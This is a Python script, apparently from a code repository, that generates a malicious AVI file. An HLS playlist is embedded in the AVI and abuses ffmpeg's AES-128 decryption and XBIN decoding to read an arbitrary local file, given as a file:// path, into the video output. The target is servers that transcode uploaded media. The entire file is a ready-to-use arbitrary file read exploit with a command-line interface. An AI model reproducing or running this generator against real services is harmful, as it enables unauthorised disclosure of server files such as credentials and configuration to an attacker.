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initial d258a8a May 23, 2017
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executable file 151 lines (119 sloc) 4.83 KB
#!/usr/bin/env python3
import struct
import argparse
import random
import string
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""
# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""
EXTERNAL_REFERENCE_PLAYLIST = """
#### External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
def echo_block(block):
assert len(block) == 16
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
return ECHO_TEMPLATE.format(needed=block, iv=iv)
def gen_xbin_sync():
seq = []
for i in range(60):
if i % 2:
seq.append(0)
else:
seq.append(128 + 64 - i - 1)
for i in range(4, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
for i in range(12, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
return seq
def test_xbin_sync(seq):
for start_ind in range(64):
path = [start_ind]
cur_ind = start_ind
while cur_ind < len(seq):
if seq[cur_ind] == 0:
cur_ind += 3
else:
assert seq[cur_ind] & (64 + 128) == 128
cur_ind += (seq[cur_ind] & 63) + 3
path.append(cur_ind)
assert cur_ind == len(seq), "problem for path {}".format(path)
def echo_seq(s):
assert len(s) % 16 == 0
res = []
for i in range(0, len(s), 16):
res.append(echo_block(s[i:i + 16]))
return ''.join(res)
test_xbin_sync(gen_xbin_sync())
SYNC = echo_seq(gen_xbin_sync())
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I',
fake_packet_len) + b'\x00' * fake_packet_len
return AVI_HEADER + packet + dcpkt * fake_packets
def gen_xbin_packet_header(size):
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
def gen_xbin_packet_playlist(filename, offset, packet_size):
result = []
while packet_size > 0:
packet_size -= 16
assert packet_size > 0
part_size = min(packet_size, 64)
packet_size -= part_size
result.append(echo_block(gen_xbin_packet_header(part_size)))
result.append(
EXTERNAL_REFERENCE_PLAYLIST.format(
size=part_size,
offset=offset,
filename=filename))
offset += part_size
return ''.join(result), offset
def gen_xbin_playlist(filename_to_read):
pls = [echo_block(XBIN_HEADER)]
next_delta = 5
for max_offs, filename in (
(5000, filename_to_read), (500, "file:///dev/zero")):
offset = 0
while offset < max_offs:
for _ in range(10):
pls_part, new_offset = gen_xbin_packet_playlist(
filename, offset, 0xf0 - next_delta)
pls.append(pls_part)
next_delta = 0
offset = new_offset
pls.append(SYNC)
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
random.choice(string.ascii_lowercase) for i in range(30)))
if __name__ == "__main__":
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
parser.add_argument(
'filename',
help='filename to be read from the server (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
content = gen_xbin_playlist(args.filename)
avi = make_playlist_avi(content)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)
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